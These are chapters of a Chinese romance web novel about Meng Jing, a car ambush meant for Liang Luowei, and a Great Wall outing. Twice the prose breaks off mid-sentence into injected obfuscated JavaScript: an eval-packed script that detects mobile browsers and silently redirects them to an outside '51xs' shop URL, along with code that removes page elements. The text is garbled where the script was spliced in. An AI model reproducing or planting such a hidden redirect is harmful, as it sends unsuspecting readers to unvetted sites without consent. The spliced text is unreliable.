裴燃点点头，没再说什么，只是告知众人，中午在公司旁边的高级餐厅定了包间，让大家自行去吃，签裴燃私人的单。 孟婧听着和自己没什么关系便先出门，在楼道里被张沛叫住。 她疑惑：“怎么了？” “裴总让我开车送你。”张沛看了看四周，确定没人，“以免影响其他人按时出发。” 时间明明来得及，却要拐弯抹角，孟婧怎么不懂这是在给她优待。 本想推却，张沛又说：“别拒绝，就当帮我，我也想出去躲躲清静。” 新领导虽然为人和善，但给他的工作量简直比以前翻了一番，他好不容易领了个清闲差事，可要紧紧抓住。 孟婧无奈笑笑：“好吧，一小时后公司楼下见。” 于是梁氏集团的大巴车出发二十分钟后，孟婧坐上了熟悉的迈巴赫，和以往不同的是，这次是张沛开车，她坐副驾。 孟婧问：“你把这辆车开出来，你们裴总坐什么？” “这是小梁总的专属公务用车，裴总有其他的。”张沛手握方向盘，“待会儿我把你放在码头，这样不会被他们发现。” “怎么，怕我拒绝特权？”孟婧笑笑，“不至于，裴总的好意，我怎么敢不领，再说，这不是还救你了吗？” “嘿嘿，可不。” 张沛放下心，边开车边在路上给孟婧介绍码头的情况。 梁氏集团经过十几年的发展，除了酒店和旅游，还做餐饮和进出口贸易，京市储藏成本高，因此津市码头和津郊的仓库成了集团货物的主要存放地。 “虽然我没盘点过，但是码头那边最主要的肯定是食品原材料，还有一些进口食品、保健品之类的，这些年大众对饮食的健康和绿色要求越来越高，梁氏也跟着市场在转型。” 其实孟婧在这一周的工作中，也对梁氏集团的业务有所了解，她好奇地问：“这些都是梁庭什的手笔？” “不全是。”张沛勾着嘴角，“反正我觉得稍微有点划时代意义的，都是小梁总提出来的。” “你还真是他迷弟。” 很多天没有听到这个名字，孟婧有些恍惚，脱口而出：“那你们小梁总现在就…完全休息了？” 问完又觉得不合适：“那个…我只是私人八卦，如果涉及商业机密，你可以不用告诉我。” 张沛想了想：“确实不能说，不过我相信你很快就会知道了。” 孟婧：“这么神秘…” 津市距离京市很近，迈巴赫流线般在高速路上飞驰了两个多小时，孟婧就看到了码头。 时间还早，工作群里显示大巴车还要半小时才到，孟婧看看在停好车正在用手机回邮件的张沛，露出一个不好意思的笑容：“张秘书，我可以试试这个车吗？” 她没开过迈巴赫，很想尝试一下驾驶的感觉，刚才在高速上就想说了，可是碍于还要工作，也不好耽误时间，现在在这边干等也是等，试驾的念头又冒出来。 张沛有些犹豫：“你驾龄…” “在国外一直都在开，老司机了。”孟婧看了眼导航，“一公里外有个加油站，我开过去加个油就回来，就算是…过过瘾？” 她在国内学完驾照一直没有开过，也是在国外生活时才慢慢练出来，无奈那边的代步车都是普通品牌，正常开没问题，但却毫无驾驶体验。 张沛这才松了口气，他以为她要飚到哪里去呢：“那没问题，正好我去个卫生间。” 孟婧终于如愿，一脚油门出了停车场。 迈巴赫和现代的区别不用细细体会也能知晓，孟婧唇角勾起，学着电影中耍帅的男人，将左手肘搭在车窗边框处，瞟了一眼后视镜。 加油站所在位置需要掉头，她向左并线，排到一辆大货车后面。半分钟后等到绿灯，大货却迟迟不动，孟婧按了两下喇叭，依然没有反应。 路很窄，只有两条车道，现在是绿灯，右边车流很大。孟婧第一次开这么贵的车，保险起见，并没有超过去的念头。 眼前的一幕让她想起很多年前在霖市的车祸，心里有点不舒服，她一边按开音频广播，一边检查车辆状况。 在看到右后视镜时，一辆打着双闪的皮卡引起孟婧的注意。 皮卡距离孟婧一百米左右，虽然没打灯并线，车子却已经越过车道。皮卡后面的车子纷纷鸣笛，它却丝毫没有要减速的样子，朝着孟婧床尾驶来。 一切都发生在电光火石之间，曾经撞击的记忆像枷锁一般让孟婧定住，血液直冲大脑，她下意识抓紧方向盘按下喇叭，却不知道除此之外还能做些什么。 恐惧和无助像潮水一样涌来，似要将她淹没。短短几秒钟，脑中闪过很多个画面，开心的，难过的，不愿意面对的，等等，孟婧紧绷着身体闭上眼睛，等待命运的审判。 “嘭！”的一声，迈巴赫被追尾，整个车子往前窜出半米，而后稳稳落地。 想象中的破碎和晕眩并没有发生，安全带只在身体上勒了一下，便松开了。 孟婧再次看了一眼后视镜，装在她车位的竟不是那辆皮卡，而是一辆大G。大G从右侧赶超，将大货逼停，却因为极速刹车而转了一圈，被隔离带反弹，又撞到了迈巴赫的尾巴上。 烟雾弥漫，前方大货似是感应到什么，缓缓掉头，后方车辆纷纷鸣笛，没再发生连环事件。 孟婧无法思考，身体依旧僵硬，甚至指甲还抠在方向盘上没有离开，世界突然收了声，连刚刚打开的调频都静音了。耳鸣，颤抖，她像被关进了一个真空箱，感知不到外界的任何。 劫后余生四个字在心中升起，她尝试深呼吸，告诉自己这并不是梦。 不知过了多久，左边传来咚咚的敲击声，孟婧反应了几秒，肢体不受控地开了锁。 车门被打开，真空箱内终于有了氧气，她的五感逐渐恢复，熟悉的檀木味道混着淡淡血腥味将她包围。 胸前的安全带被咔地松掉，孟婧被抱起，随后落入一个坚实的胸膛。 42. 第四十二夜 消毒水，又是消毒水的味道。 一切不好的记忆都与此有关，孟婧无意识地皱眉，手指不禁攥紧粗制的病床床单。 耳边似乎有人在说话，由远及近听不真切，似乎是医护，又好像是熟悉的人。大脑先于身体清醒，孟婧强忍着不适缓缓睁眼，看到的只有刺眼的顶灯。 她还活着，不仅活着，身体除了疲惫，似乎也没有其他伤痛的感觉。刚才发生的一切…是梦吗？ 画面片段陆续涌入脑海，她回忆着车祸前和车祸后发生的事情，挣扎这从病床上坐起来。 这是一件双人病房，她在靠窗的里侧，帘子外显然还有别人。 “老大，我错了，我真错了。”是张沛的声音。 “错什么错。如果车上是你，我一样会这么做。” 耳鸣声小了些，孟婧下床，绕到帘子另一边，终于见到了正在对话的两人。 护士正在给梁珞唯上药，他穿了一身黑色运动服，带着棒球帽，虽然依旧板着脸，但气场淡了很多，活脱脱一个刚毕业的臭屁男大。 张沛看见孟婧直接下床，有点慌：“护士，她能自己下床吗？是不是还要再检查一下？” “我没事了。”孟婧伸伸胳膊腿，转了一圈，“看，连皮都没破。” 倒是梁珞唯，胳膊上和腿上都有擦伤。 孟婧是快到医院时才彻底昏过去的，梁珞唯把她抱到救护车上，和她一起来的医院，这段过程她还记得。 当时情况紧急，大脑又处于慌乱之中，她只来得及狠狠抓着他的袖子，如今终于安全了，才想起来问问到底是怎么回事。 最后一块纱布贴完，梁珞唯穿好衣服，等护士走了才说：“抱歉，应该是冲着我来的。” 他的感冒应该已经痊愈，声音又恢复了冷冽。 前面的大货和后面的皮卡是有预谋的夹击，对方应该是以为梁珞唯在车上，所以才下的死手。 孟婧实在无法接受这么魔幻的现实：“光天化日，谁有这么大胆子敢当街…” 张沛让出梁珞唯的病床床尾：“前后两辆车司机都是疲劳驾驶，咬定了是意外，警察也没办法的。” “疲劳驾驶…这是亡命徒。”孟婧怅然坐下，“太可怕了，没想到还可以这样。到底是谁指使的？梁庭什吗？” “已经让人去查了。”梁珞唯看了眼张沛，“张秘书，去办一下手续。” 张沛目光从两人之间收回，哦了一声，从外面带上了门。 病房中只剩下两个人，孟婧几乎是和梁珞唯并肩坐在病床上，余光甚至可以看到他被蹭破的袖子。 孟婧低头理了理自己的袖口：“刚才的事，谢谢你。” “是我要向你道歉才对，如果我没拦住…”梁珞唯将脏兮兮的外套脱下来放在一边，黑色T恤遮不住伤，肘部的纱布下隐约可以看到血渍。 如果他没拦住，孟婧…他到现在还是后怕。 梁珞唯不畏生死，但并不表示可以平静地看别人因为自己受伤。 “应该道歉的是幕后做这件事的人，我们都是受害者。”孟婧侧过身子面对他，“梁先生放心，今后有用得上我的地方，尽管开口。” 除了订婚，似乎也想不出来什么特别需要的事情。不过梁珞唯不想趁人之危，他顺势也转了身，离孟婧又近了些，近到可以将她从头到脚细细审视。 “你晕了很久，不如再让医生看看。”他检查着她有没有受伤，“我以为…” “以为什么，以为我再也醒不来了吗？”孟婧被他看得浑身不好意思，忙解释，“没事，老毛病了，就是容易晕而已，和车祸没关系。” 原本苍白的鹅蛋脸爬上绯红，低垂着的睫毛轻颤着，让梁珞唯有些移不开眼睛。 他轻咳一声，强行将思绪拉回正题：“幕后之人…可能是孟许堂。” “你说什么？”孟婧的第一反应是不相信，在她的记忆中，孟许堂虽然对她不算好，但物质上从没亏欠，并不算一个恶毒的养父。 但如果从一个商人的角度细细想来，倒也合理。他已经如此明目张胆地做梁庭什的打手了吗？ “孟家在这边码头也有货。”梁珞唯声音很轻，像是怕再吓到孟婧，“很多个公司的货堆在一起，难免会有一些灰色地带，在你们来之前，我已经基本调查清楚。” 孟婧想起那辆没见过的车，再看看梁珞唯的装扮：“所以你不在家，是来了津市？” “前几天先去了其他城市的码头，只不过那些地方的货没有津市多而已。”梁珞唯说，“可能孟家听到风声，所以在这边有了准备。” 也许初衷并不是要置人于死地，而是想阻止他调查，没想到实际发生的会如此惊险。 “那…查出什么来了？”孟婧知道，梁珞唯这是想把孟氏集团也拉下水。 梁珞唯点点头：“走私货，虚假库存，还有从码头卸下来以后直接被不认识的公司拉走的情况。” 天呢，这些事情单拎出来一条都是大事。孟婧翻着兜去找手机，声音有些颤抖：“有证据吗？可以直接交给督察组的。” “别担心。”梁珞唯神色自然地将她的手轻轻按在床上，“我自有安排，不会让他们白撞。” 孟婧的手柔软、冰凉，握住时的感觉极为安心，甚至让梁珞唯有了轻微的晕眩。 他刚经历的车祸比孟婧严重很多，没有骨折已是万幸，医生检查后告诉他有轻微脑震荡，不过不影响正常生活，让他日常多休息。 他想，现在的症状也许只是脑震荡产生的：“手机在护士那儿，一会儿张沛拿过来。” 孟婧低头看看被他覆盖住的手背。 和身上的伤不同，梁珞唯手背上的擦伤只经过简单处理，伤口裸露着，似乎在明确宣示刚刚经历的惊险场面。 孟婧总觉得这个人不太爱惜自己的身体，甚至有些自毁倾向，不然怎么会生病受伤还一脸淡然，似乎都不会痛的。 手背灼热，她脑子里乱成浆糊，说话也不经大脑：“什么意思，你刚刚英雄救美，现在要求我以身相许了？” “不是那个意思。”梁珞唯随便找了个说辞，手却没松，“你刚才动作晃得我眼晕。” 其实在他看来也确实不妥，这种肢体接触多少有点“耍流氓”的意思，可谁家流氓像他这么惨的？豁出命去救了人，就得了个谢谢。 甚至还不如手机重要。 骨子里的教养和克制也许都被那辆大货车撞散了，反而滋生出了莫名的占有欲，梁珞唯面不改色：“以身相许不行？” 知道他又在提联姻的事情，孟婧剜了他一眼，将手抽回：“梁先生撩人驾轻就熟，可我不吃这套。冲你刚才救了我，才没有扇你巴掌的，这就是我的报答。” “撩人？”梁珞唯不解地看了眼自己的手，一本正经，“我没撩过别人，如果孟小姐觉得被冒犯，我道歉。” “没撩过别人”这种话或多或少带了某种暧昧的暗示，孟婧不太自在。 “勉强接受你的道歉。”她说，“下次别这样了，不管对谁。” 梁珞唯点点头，可转头一想又觉得不对：“按这个逻辑，上次在宠物医院，你也撩我了。 明明是她主动把手送进自己手心的。 “我…那是帮你涂药，根本就不是一回事好么！” 梁珞唯举起自己的右手：“这次也受伤了，只是没有其他地方严重而已。 “……”孟婧不想再做纠缠，“我还是去找手机吧。” “手机！”张沛推门进来，“孟婧，你手机一直在响。” “哦。”孟婧看也没看，拿过来就出了病房。 张沛挠了挠头，看看门口，又看看梁珞唯：“老大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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孟婧并没有告诉其他人车祸的事情，只说路上有事耽搁了。时间确实来不及，所有盘点工作结束，已经是第二天下午。 跟着所有人坐大巴一起回来，孟婧在途中整理着手中的资料。 梁氏不愧是大公司，表面工作做得滴水不漏，该有的都有，完全看不出来梁珞唯查出的那些问题。即便如此，孟婧还是结合着国外分公司的审计结果发现一些端倪，准备回去后和Ethan碰个头，再有针对地调阅账目。 载满梁氏集团员工的车自然不会出什么纰漏，一路顺利地回到公司，已经是下班时间。孟婧和同事简单开了个会，便被裴燃叫到办公室。 “学妹，身体怎么样？”裴燃显然知道了车祸消息，“昨天给你打电话，怎么是在医院？” 孟婧拿不准裴燃和梁庭什的关系，只能官方作答：“谢谢关心，出了点小插曲。路上有辆皮卡追尾，不过不严重。” “身体没事吧？”裴燃正色，“这算工伤的，虽然你已经辞职了，但是梁氏该给的补偿不会少。” 孟婧：“谢谢裴总，真的没什么事。” “几天没见怎么还变客气了。”裴燃笑着说，“既然这样，咱们上周约的明天去长城，你身体还行？” 孟婧愣住，这才想起来和Devin他们的约定。 “可是事务所那边…” “哎呀，你一个顾问，已经加班那么久了，能不能给自己松口气的时间？”裴燃指向自己的办公桌，“看这堆成山的文件，你能有我忙？但还是要享受生活的嘛。” 总不能和人家副总裁比工作量，孟婧苦笑着答应。 Devin那个身子骨，想来也爬不了多远，她权当舍命陪君子了。 可让她万万没想到的是，到达约定地点后，等着她的是两位同样高大帅气的男人。 43. 第四十三夜 梁珞唯看着站在售票处的裴燃，心里升起一股暗暗的不爽。并不是因为裴燃坐在副总裁的位置上却有时间悠闲自在，而是他私下约了孟婧。 要不是Devin说漏嘴，还真被他钻了空子。 不过他们彼此的态度应该差不多，裴燃看见从远处走来的梁珞唯时，也是一脸嫌弃。 梁珞唯比裴燃略高一点，今天难得穿得清爽，黑色飞行夹克，浅蓝色牛仔裤，配上肩宽腿长，如T台走秀般款款而来，再配上那张英俊的脸，引得周围游客纷纷侧目。 “骚不死你的。”裴燃翻了个白眼，小声嘟囔一句。 梁珞唯权当没看见他的小动作，皱着眉头问：“谁让你随便约她的，梁庭什的人甩开了？” “不要怀疑我的专业。”裴燃看他就烦，绅士皮囊暂时抛到一边，“Devin和我一起约的好么，再说了，就算Devin不在，我和孟婧，单身男女，光天化日，碍你肝儿疼。” “你确定要这么说？”梁珞唯看了一眼手机，“我还叫了梁曼，如果打扰了你约会，我一会儿和她一起回去，反正这长城也没什么好爬的。” 一脸不屑瞬间化为紧张，裴燃声音高了八度：“你叫她！你叫她不告诉我一声，我今天…靠，都被你比下去了！” 他边说边走，嘴里嘀咕出几句粤语。 “去哪儿啊。”梁珞唯双手插兜，“没脸见人？” “我去换身衣服！” 梁珞唯：“又犯病。” 等了一会儿，孟婧准时到达。 十一月底的天气不算冷，上周降雪降温，这周却日日暖阳。孟婧今天出来玩儿，被乔小仙用私服一通改造，差点就要迟到了。好在改造效果确实不错，皮粉色卫衣搭白色软壳外套，为了防晒还戴了顶米色棒球帽，即使帽檐压得很低，身材气质依旧是人群中亮眼的存在。 从停车场走过来的路上遇到裴燃，裴燃让她在门口处等一下，她没走几步，远远就看到了梁珞唯。 他来这里做什么？ 孟婧再次压低帽檐，企图从他面前溜掉，没想到梁珞唯主动朝她走过来。 “早，Devin今天有事，我替他。”他捏了一下孟婧的帽檐，“还有人没来，再等等。” 孟婧一时间没反应过来。 这还能“替”吗？ 再说，梁珞唯怎么能和裴燃同框呢，他们不应该是对立关系吗。 梁珞唯似乎猜到了她在疑惑什么，主动解释：“梁庭什不知道，裴燃其实是我这边的。” “哦，早。”孟婧还在想着别的，“你的伤…” “皮外伤，不碍事的。”梁珞唯挽起袖子，“要检查一下吗？” “不用不用。”她又不是家长，有什么检查不检查的，“那个，所以一会儿是你，裴燃，和我一起？” 苍天，她原本只是为了陪自己老板的，现在这又是什么情况。 梁珞唯的表情终于有所松动，如果孟婧没看错，他似乎是在…尴尬？ “还有别人。”梁珞唯看了眼不远处，“她来了。” 孟婧顺着梁珞唯的目光回头，看到一位全身穿着户外名牌的女人，那张脸是她熟悉的，也正在对她笑。 “孟小姐！”梁曼小跑两步，挽上孟婧，“又见面咯。” 孟婧看看梁曼，又看看梁珞唯，僵硬地笑了一下：“你们…约会啊。” 倒也不必叫她作陪。 梁珞唯面色不悦，没作答，只冲着梁曼恭恭敬敬地颔首：“姐，再等会儿。” 梁曼敢保证，二十八年来梁珞唯对她从没有这么乖顺过。 孟婧愣住：“你叫她什么？” “叫我姐啊。”梁曼白了梁珞唯一眼，转头笑眯眯地对孟婧说，“虽然不是从小一起长大，但是作为远房亲戚，怎么不算青梅竹马呢？” 孟婧大脑中缓慢替换着信息，因为是姐姐，所以可以爽快帮他遛狗，可以称之为一家人，但是…为什么不直说呢？ 梁曼看着孟婧的表情，有点期待地问：“误会解除？” “误会？”孟婧不解，她有什么可误会的。 “哦，没事，我开玩笑的。”梁曼明白了，人家姑娘是一点没有那个意思，“我这人就是很爱开玩笑，因为珞唯身边总有想要接近的女人，我帮他挡习惯了。” 梁珞唯板着脸：“没有。” 梁曼瞪了他一眼，觉得这人没救了。扭脸又和孟婧笑嘻嘻：“我叫梁曼，你可以叫我曼姐。” 孟婧点点头：“真是辛苦曼姐了。” “梁曼！”裴燃从远处跑过来。他换了一身黑色户外装备，胸口几个简单的logo，和梁曼的衣服是一个牌子，只不过全身黑色，把他衬得沉稳成熟许多。 孟婧刚想从梁珞唯和梁曼的夹击中解脱出来，没想到裴燃居然不和她一个战线。 裴燃脸上依旧是开朗明媚的笑容，只是语气多了丝吊儿郎当：“好久不见啊。” “你不好好加班，处理梁总交给你的烂摊子，跑这儿干嘛来。”梁曼见到他，立马板起脸，瞪了眼梁珞唯，“早知道就不来了。” “别啊，我又不是专门来找你的。”裴燃说得好像刚才跑去换衣服的不是他，“我今天约的是孟婧，介绍一下，这是…” “介绍什么介绍，我们之间比你熟。”梁曼勾着孟婧的手臂，“走孟婧，咱们姐儿俩玩儿，让这两个臭男人一边儿凉快去。” 孟婧正有此意，两人加快脚步。 梁珞唯走在她们身后，过了一会儿裴燃才跟过来，不爽地说：“跑什么跑，票还在我这。” 梁珞唯看了眼身边好友，裴燃虽然嘴欠，办事确实最周到的。 “谁让你愿意。” 裴燃摆弄着手里的票，用下巴点点前面挽着的两个女人：“你不愿意？” 梁珞唯看着孟婧肩上一颠一颠的卫衣帽子：“我又不追人。” “哇哦。”裴燃喊了声孟婧，“你不追，我可追了。” 于是孟婧应声回头时，看到梁珞唯伸手在裴燃头上按了一把。 裴燃一个踉跄，顺势笑呵呵递过两张门票：“给。” “谢谢了。”孟婧接过来，“我刚还想扫码买呢。” 裴燃提高音量：“跟学长我客气什么，一会儿爬的时候没力气了，可以扶着我。” “啊？”孟婧没懂他突如其来的热情，她是想要坐缆车的… 相比于花费体力在爬山上，她更希望平静地欣赏风景。 四人扫票进了景区，梁曼扫了裴燃一眼：“就他那小身板还不如我呢，孟婧你还是扶栏杆吧，或者梁珞唯都比他结实一点…” 孟婧有点不好意思，但又实在对自己身体没信心：“那个…曼姐，我体力不太行，可不可以坐缆车呀…” 裴燃和她同时开口：“我不如你？我能一口气直接爬到最高峰。” 孟婧张了张嘴，没再说出什么。 也对，大家本来就是要“爬”长城的，又不是“游览”，肯定还是要一步一个脚印细细体验过才好。 她咬着下唇，不好意思搞特殊：“裴总肯定比我快，待会儿你们先上，我在后面慢慢爬。” 谁知梁珞唯幽幽开口：“我要坐缆车。” “你说什么？”梁曼恨铁不成钢，“弟，咱总不能比姓裴的还菜吧。” 梁珞唯一本正经：“刚出过车祸，医生说要避免剧烈运动。” 孟婧皱眉，他刚才不是说身体没问题么。 不过梁珞唯身上的伤确实不少，即使这是皮外伤，也应该好好修养才对，真不知道今天来这里干嘛。 孟婧指着另一条路：“那咱们兵分三路，山顶汇合？” 梁珞唯皱眉：“你还要爬？” 孟婧：“不然呢？” “我是救谁受伤的，孟小姐忘了？”梁珞唯终于有理由攥了一把孟婧的卫衣帽子，对梁曼和裴燃说，“你们去爬吧，我需要全程陪护。” 孟婧：“？” 梁曼：“……” 裴燃：“！” 不想让梁珞唯得逞，裴燃纠结过后准备放弃男人的尊严：“不然还是一起坐缆车吧。” 梁曼一把抓住他：“不是要比赛么，谁最后到谁是狗。” 裴燃：“不是梁曼你有病吧！” 梁曼：“叫曼姐！” 裴燃:“大一天也敢称姐？” 梁曼:“大一秒钟都得叫姐！” 目送两人别扭着离开，孟婧这才收回目光，脸上带着笑：“没想到裴燃这么幼稚，还挺可爱的。” “可爱？”梁珞唯嘁了一声，“走了。” 索道排队的人很多，孟婧走在前面，梁珞唯从身后一路帮她挡着后面拥挤的游客，绕过一圈圈的回形栏杆，不知道到底谁在陪护。 孟婧头也不回地往前走，趁此机会想了很多。 她不喜欢猜来猜去，于是直接问：“梁先生今天来，是想问我联姻的事考虑的怎么样了吗？” 孟婧帽檐压得很低，梁珞唯个子高，自上而下的视线只能看到她白皙侧脸，小巧的鼻子，和一张一合的红唇。 人声嘈杂，他怕她听不见，俯身在她耳边解释：“孟小姐不是说等项目结束，我没有强人所难的爱好。” “况且，我就不能为点儿别的？” 磁性低沉的声音如电流一般涌进孟婧的耳膜，甚至可以感受到颈后的灼热呼吸。孟婧缩了缩脖子，快走了两步才敢回头：“为什么。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13254732|130760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 梁珞唯刚才也是挑衅，虽然联姻是他想提的事情，但按照孟婧的说法，他和她之间除了这件事就无话可说了？明明和初次见面的裴燃都可以谈笑风生一下午，怎么到了他这里就变得毫无人情味儿。 梁珞唯内心不解，语气便跟着不善：“孟小姐，我们难道还不算朋友吗？” 朋友？孟婧从没想过要和梁珞唯成为朋友。 回国前，她为了调查孟梦的事情，查了大量资料，梁珞唯在她眼中是调查对象，甚至是怀疑对象，孟婧把他放在离自己很远的位置观察、试探，却从没有想过要减除两人之间的距离。 在孟婧的规划中，她和梁珞唯只有两种结局：联姻，或者拒绝联姻后变成宿敌。曾经她以为前者必不可能，但回京这段时间发生的种种让她产生了动摇，虽然只是轻微的，但也会让人不安。 她不敢深究这意味着什么，也不敢顺其自然。梁珞唯对这场婚姻势在必的，不知道留了多少后手。 “朋友？”孟婧反问，“有可能会结婚的那种朋友吗？” 梁珞唯直起身子，他大部分时候都是高傲的：“如果我有其他企图，也不会叫上别人。” 他只是单纯的想要陪她出来玩儿一天，就是这样。 很奇怪，孟婧可以和裴燃主动挑起很多话题，但面对梁珞唯，她总是不知道说什么，于是两人就这么沉默着排到了最前面。 缆车车厢内不止两人，梁珞唯把观光好的位置留给孟婧，自己坐在她身边，遥遥望着远处的风景。他不记得上一次来长城是什么时候了，可能是小学或者初中组织的实践活动，总之成年后还是第一次。 北方的山不如南方险峻，胜在连绵气势，千年的建筑随着缆车的爬升逐渐变换着形态，让人体味着历史和时光。在如此恢弘大气的景色面前，人心里那些淤积的心事似乎也淡了很多。 孟婧喜欢这样专注的欣赏，但稍稍有些恐高，往外看时不自觉拽着梁珞唯的衣角。趁他没有发现，她小心松了手，飞行夹克绵软厚实，下摆处被捏出短暂的褶皱，在恢复平整前，梁珞唯下了缆车。 缆车本身走得不快，梁珞唯回到地面上，第一时间回身伸出手，让孟婧扶着他往下跳。 “你帽子乱了。”他很想再去抓，但想起孟婧之前的告诫，只得换成出言提醒。 “肯定是你刚才抓乱的。”孟婧边摸边说，“上次羽绒服也是…你喜欢捏蓬蓬软软的东西啊？” 梁珞唯：“……” 好像确实有点。 原来这个人还有如此幼稚的癖好，怪不得那么喜欢大壮。孟婧将帽檐扬起一些，终于亮出清澈的双眸：“等我回去给你寄一套捏捏乐。” Toby很小的时候有一套喜欢的安抚玩具，毛茸茸的小猫，小猫肚子里是松松软软的填充物，摸起来手感很好。孟婧想到梁珞唯用那么大的手去捏一只小猫的场景，不由觉得好笑。 梁珞唯看着孟婧放松的笑容，唇角不自觉勾起，可转念又发现端倪：“刚才你说…回去？” “是啊，下周的机票，和Devin一起。”孟婧跟着游客汇成的人流往外走，“这次来是出差嘛，结束当然要回家。” 孟婧能想象梁珞唯现在的表情，是的，她就是故意说出这些的。她想让梁珞唯知道，两人之间隔着的不仅有利益，有陌生，更有千万里的距离。他在众人面前宣布的联姻的时候，有没有想过她可以一张机票就离开？ 梁珞唯没有生气，没有质疑，像是她的离开在他计划之中一样。 视野再次开阔，刚才俯视的连绵砖石真切地踩在脚下，孟婧呼吸了几口高出的新鲜空气，转身笑着说：“这里好漂亮，可以帮本好汉拍一张照片吗？” 她要回去拿给Toby看。 游客拥挤，梁珞唯和孟婧两人外形在人群中太过亮眼，活像偷偷约会的明星情侣，以至于梁珞唯帮孟婧拍照后，有年轻路人主动过来要帮他们合影。 孟婧刚想解释：“我们不是…” “麻烦了。”梁珞唯先她一步递出手机。 他看看孟婧，用只有两人能听见的声音说：“就算是员工和老板出行，拍张合影也不算过分。” 什么老板员工的，这种烂借口，亏他想得出来。不过他说得也对，合影而已，她没必要回避。于是孟婧将帽子摘下，露出白皙秀气的脸。 秋末冬初的蓝田中飘着雪白的云，暖阳当头，两人肩并肩站在深灰色的烽火台前，像站在画中。 孟婧被太阳烘暖了，内心裂出的缝隙又染上了梁洛维身上的檀木香气，此刻踏上长城的她豪气冲天，终于恢复些年轻人应有的洒脱果敢。 “老板。”她对着镜头微笑，“临走之前，我再告诉你一个秘密吧。” 44. 第四十四夜 梁曼爬了一个多小时，始终领先裴燃大概十米的距离。实在力竭，撑在城墙边上大口喘气的时候，裴燃也停下了。 裴燃不像她戴了墨镜，眼睛被刺眼的阳光晃得半眯着，额头上全是汗：“你赢了行么。” “本来也是我赢。”梁曼扶了扶墨镜，想要继续再爬。 大脑还在对抗的亢奋之中，却忽视了肢体的警报，梁曼还没迈出一步就觉得膝盖发软，好在及时被人扶住。 “逞什么能。”裴燃半搂着她坐到台阶上，“又没人给你发金牌。” “我乐意，管得着么。”梁曼嫌他膝盖碰到自己，吼了声，“边儿呆着去，别离我那么近。” 裴燃主动坐远了一些，小声用粤语嘟囔：“再近都…” “裴燃。”梁曼声音冷下来，摘了墨镜，看着像真生气了，“你敢再提，我就敢把你从这扔下去。” “是你说的，酒后乱性而已。”裴燃对着太阳，脸上带着点自嘲，“如果真的不在意，又干嘛怕我说。” 梁曼咬着后槽牙：“我有什么好怕的，我就是觉得恶心。” 半年前，梁曼的曼曼传媒在香港开了分公司，剪彩仪式那晚正好也是她的三十岁生日，几个好闺蜜相约帮她开荤，谁知梁曼喝多了，竟然走错房间。 第二天是梁曼先醒的，裴燃光着上半身趴在床上睡着，背部和后颈都是暧昧的抓痕。梁曼自己也好不到哪去，凡是衣服能遮住的地方都没有逃过，每一颗印记都提醒着她前一天晚上激烈。 偏偏她没有断片，身体莫名的契合，双方每一次高潮和每一句dirtytalk都能清晰回放，让她恨不得一把火将酒店烧了。 和争吵多年的死对头做了，还做得很爽，这种崩溃让她半年都无法面对裴燃，香港更是再没去过。偏偏这个男人像没事发生过一样，还敢来缠着她挑衅。 理他又过不去心里那个坎，不理他又显得她很在意，梁曼一向八面玲珑，面对现在的裴燃却只剩下张牙舞爪。 “恶心。”裴燃烦躁地抓了把自己的头发，声音闷闷的，“梁曼，你一直都是这么看我的，对吗？” 梁曼歇够了，扶着栏杆撑起身子：“别给自己脸上贴金，我根本不惜得看你。” 裴燃还坐着，扭头对着她的背影说：“行，你行！” “行。”梁珞唯拿回手机，边看照片边说，“作为交换，在你告诉我关于联姻的决定之前，我也有想说的话。” 孟婧现在心情不错：“什么话？” 梁珞唯觉得在这熙熙攘攘中说出自己能给的条件极为草率：“需要坐下来详谈。” “好吧。”孟婧看看人流的方向，“上面还是有好长一段要爬的，也不知道曼姐她们到哪里了。” 梁珞唯看了眼时间：“我们排队也用了一段时间，他们应该差不多。” 话音未落，孟婧就在不远处看到了梁曼的身影。她边喊边挥手：“曼姐！这里！” “来了！” 梁曼半路将长发编成麻花辫，配上一身专业装备和墨镜，看上去利落飒爽。 孟婧往她身后看看：“裴总呢？” “谁知道。”梁曼将胳膊搭在孟婧肩上，移过去几分重量，“呼，累死姐了。” 孟婧见她额间都是汗，抽出几张纸巾：“擦擦吧，被风吹了会感冒的。” “还得是你。”梁曼拿过来擦了一把，“Girlshelpgirls.” 刚才到现在，她完全是化愤怒为力量，属于有劲儿没处发泄，再加上孟婧没怎么消耗体力，两人一起走得很快，没多久就走远了。 梁曼看一眼身后，确定那两个人没跟过来，小声问：“要是不喜欢和他独处就跟姐说，姐带你单飞。” 孟婧哭笑不得：“我和梁先生相处还挺愉快的。” 梁曼勾住她的肩膀，将孟婧搂到怀里：“那就是喜欢他了。” 这脑回路，确实像梁家一起长出来的。孟婧实在说不过她：“姐，你是做什么工作的？” 真的不是搞传.销的吗？ 梁曼直接越过了这个问题。 “虽然说是远房亲戚，但是我还真的蛮了解我这个弟弟的。” “有件事我不吐不快。”梁曼叹了口气，“五年前，梁珞唯应该暗恋过你。” 孟婧瞪大眼睛：“你说…五年前？” 原来梁曼五年前就认识她了吗？ 梁曼当然知道她的疑问：“五年前咱们没正式见过面，但你可能不知道，我那时可是FINDER老板。” 原来如此。 “那时候梁珞唯帮我处理一个突发事件，当时招了实习生，我看过你的简历。” 孟婧有种被人看透的羞耻感，她把梁曼当陌生人的时候，对方竟然已经知道自己五年。 “既然你没见过我，为什么会这么说呢？梁先生…他没有和我提过以前的事。” 梁曼解释：“他那时候生过一场重病，后来有些事情记不清楚了。但是感情这东西有时候不用靠记忆，就是一种感觉。” 她见孟婧抿着嘴没有接话：“怎么，我说的不对吗？” 